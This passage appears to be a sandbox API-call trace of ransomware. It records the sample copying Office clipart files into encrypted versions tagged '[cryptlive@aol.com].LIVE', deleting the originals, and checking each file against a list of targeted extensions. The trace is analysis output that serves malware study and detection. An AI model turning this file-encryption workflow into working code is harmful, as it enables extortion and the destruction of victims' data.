lpOverlapped=0x0) returned 1 [0143.366] SetEndOfFile (hFile=0x1fc) returned 1 [0143.367] CloseHandle (hObject=0x1fc) returned 1 [0143.367] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.367] SetEndOfFile (hFile=0x39c) returned 1 [0143.369] CloseHandle (hObject=0x39c) returned 1 [0143.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0143.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0143.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0143.402] lstrlenW (lpString=".doc") returned 4 [0143.402] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.402] lstrlenW (lpString=".docx") returned 5 [0143.402] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.402] lstrlenW (lpString=".pdf") returned 4 [0143.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.402] lstrlenW (lpString=".xls") returned 4 [0143.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.402] lstrlenW (lpString=".xlsx") returned 5 [0143.402] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.402] lstrlenW (lpString=".ppt") returned 4 [0143.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0143.402] lstrlenW (lpString=".zip") returned 4 [0143.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.402] lstrlenW (lpString=".rar") returned 4 [0143.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.402] lstrlenW (lpString=".bz2") returned 4 [0143.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.402] lstrlenW (lpString=".7z") returned 3 [0143.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0143.402] lstrlenW (lpString=".dbf") returned 4 [0143.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0143.402] lstrlenW (lpString=".1cd") returned 4 [0143.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0143.403] lstrlenW (lpString=".jpg") returned 4 [0143.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0143.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0143.403] lstrlenW (lpString=".doc") returned 4 [0143.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.403] lstrlenW (lpString=".docx") returned 5 [0143.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.403] lstrlenW (lpString=".pdf") returned 4 [0143.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.403] lstrlenW (lpString=".xls") returned 4 [0143.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.403] lstrlenW (lpString=".xlsx") returned 5 [0143.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.403] lstrlenW (lpString=".ppt") returned 4 [0143.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0143.403] lstrlenW (lpString=".zip") returned 4 [0143.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.403] lstrlenW (lpString=".rar") returned 4 [0143.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.403] lstrlenW (lpString=".bz2") returned 4 [0143.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.403] lstrlenW (lpString=".7z") returned 3 [0143.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0143.403] lstrlenW (lpString=".dbf") returned 4 [0143.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0143.403] lstrlenW (lpString=".1cd") returned 4 [0143.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0143.403] lstrlenW (lpString=".jpg") returned 4 [0143.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.404] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.404] lstrlenW (lpString="FD00382_.WMF") returned 12 [0143.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0143.404] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=8424) returned 1 [0143.404] CloseHandle (hObject=0x380) returned 1 [0143.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x20 [0143.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0143.405] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.405] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0143.406] GetLastError () returned 0x0 [0143.406] ReadFile (in: hFile=0x380, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x20e8, lpOverlapped=0x0) returned 1 [0143.413] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x20f0, lpOverlapped=0x0) returned 1 [0143.414] ReadFile (in: hFile=0x380, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.415] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.415] SetEndOfFile (hFile=0x3ac) returned 1 [0143.415] CloseHandle (hObject=0x3ac) returned 1 [0143.415] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.415] SetEndOfFile (hFile=0x380) returned 1 [0143.417] CloseHandle (hObject=0x380) returned 1 [0143.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf")) returned 1 [0143.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0143.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0143.418] lstrlenW (lpString=".doc") returned 4 [0143.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.418] lstrlenW (lpString=".docx") returned 5 [0143.418] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.418] lstrlenW (lpString=".pdf") returned 4 [0143.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.418] lstrlenW (lpString=".xls") returned 4 [0143.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.418] lstrlenW (lpString=".xlsx") returned 5 [0143.418] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.418] lstrlenW (lpString=".ppt") returned 4 [0143.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0143.418] lstrlenW (lpString=".zip") returned 4 [0143.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.418] lstrlenW (lpString=".rar") returned 4 [0143.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.418] lstrlenW (lpString=".bz2") returned 4 [0143.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.418] lstrlenW (lpString=".7z") returned 3 [0143.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0143.418] lstrlenW (lpString=".dbf") returned 4 [0143.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0143.419] lstrlenW (lpString=".1cd") returned 4 [0143.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0143.419] lstrlenW (lpString=".jpg") returned 4 [0143.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0143.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0143.419] lstrlenW (lpString=".doc") returned 4 [0143.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.419] lstrlenW (lpString=".docx") returned 5 [0143.419] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.419] lstrlenW (lpString=".pdf") returned 4 [0143.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.419] lstrlenW (lpString=".xls") returned 4 [0143.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.419] lstrlenW (lpString=".xlsx") returned 5 [0143.419] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.419] lstrlenW (lpString=".ppt") returned 4 [0143.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0143.419] lstrlenW (lpString=".zip") returned 4 [0143.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.419] lstrlenW (lpString=".rar") returned 4 [0143.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.419] lstrlenW (lpString=".bz2") returned 4 [0143.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.419] lstrlenW (lpString=".7z") returned 3 [0143.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0143.419] lstrlenW (lpString=".dbf") returned 4 [0143.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0143.419] lstrlenW (lpString=".1cd") returned 4 [0143.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0143.420] lstrlenW (lpString=".jpg") returned 4 [0143.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.420] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.420] lstrlenW (lpString="FD00397_.WMF") returned 12 [0143.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0143.420] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=10816) returned 1 [0143.420] CloseHandle (hObject=0x380) returned 1 [0143.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x20 [0143.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0143.421] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.421] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0143.421] GetLastError () returned 0x0 [0143.421] ReadFile (in: hFile=0x380, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x2a40, lpOverlapped=0x0) returned 1 [0143.442] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x2a50, lpOverlapped=0x0) returned 1 [0143.443] ReadFile (in: hFile=0x380, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.443] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.443] SetEndOfFile (hFile=0x3ac) returned 1 [0143.443] CloseHandle (hObject=0x3ac) returned 1 [0143.443] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.443] SetEndOfFile (hFile=0x380) returned 1 [0143.448] CloseHandle (hObject=0x380) returned 1 [0143.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf")) returned 1 [0143.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0143.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0143.449] lstrlenW (lpString=".doc") returned 4 [0143.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.449] lstrlenW (lpString=".docx") returned 5 [0143.449] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.449] lstrlenW (lpString=".pdf") returned 4 [0143.449] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.449] lstrlenW (lpString=".xls") returned 4 [0143.449] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.449] lstrlenW (lpString=".xlsx") returned 5 [0143.449] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.449] lstrlenW (lpString=".ppt") returned 4 [0143.449] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0143.449] lstrlenW (lpString=".zip") returned 4 [0143.449] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.449] lstrlenW (lpString=".rar") returned 4 [0143.449] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.449] lstrlenW (lpString=".bz2") returned 4 [0143.449] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.449] lstrlenW (lpString=".7z") returned 3 [0143.449] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0143.449] lstrlenW (lpString=".dbf") returned 4 [0143.449] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0143.449] lstrlenW (lpString=".1cd") returned 4 [0143.449] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0143.450] lstrlenW (lpString=".jpg") returned 4 [0143.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0143.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0143.450] lstrlenW (lpString=".doc") returned 4 [0143.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.450] lstrlenW (lpString=".docx") returned 5 [0143.450] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.450] lstrlenW (lpString=".pdf") returned 4 [0143.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.450] lstrlenW (lpString=".xls") returned 4 [0143.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.450] lstrlenW (lpString=".xlsx") returned 5 [0143.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.450] lstrlenW (lpString=".ppt") returned 4 [0143.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0143.450] lstrlenW (lpString=".zip") returned 4 [0143.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.450] lstrlenW (lpString=".rar") returned 4 [0143.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.450] lstrlenW (lpString=".bz2") returned 4 [0143.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.450] lstrlenW (lpString=".7z") returned 3 [0143.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0143.450] lstrlenW (lpString=".dbf") returned 4 [0143.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0143.450] lstrlenW (lpString=".1cd") returned 4 [0143.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0143.450] lstrlenW (lpString=".jpg") returned 4 [0143.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.451] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.451] lstrlenW (lpString="FD00419_.WMF") returned 12 [0143.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.455] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=16396) returned 1 [0143.455] CloseHandle (hObject=0x384) returned 1 [0143.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x20 [0143.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.457] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.457] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.458] GetLastError () returned 0x0 [0143.458] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x400c, lpOverlapped=0x0) returned 1 [0143.459] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x4010, lpOverlapped=0x0) returned 1 [0143.460] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.460] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.461] SetEndOfFile (hFile=0x388) returned 1 [0143.461] CloseHandle (hObject=0x388) returned 1 [0143.461] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.461] SetEndOfFile (hFile=0x384) returned 1 [0143.466] CloseHandle (hObject=0x384) returned 1 [0143.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft 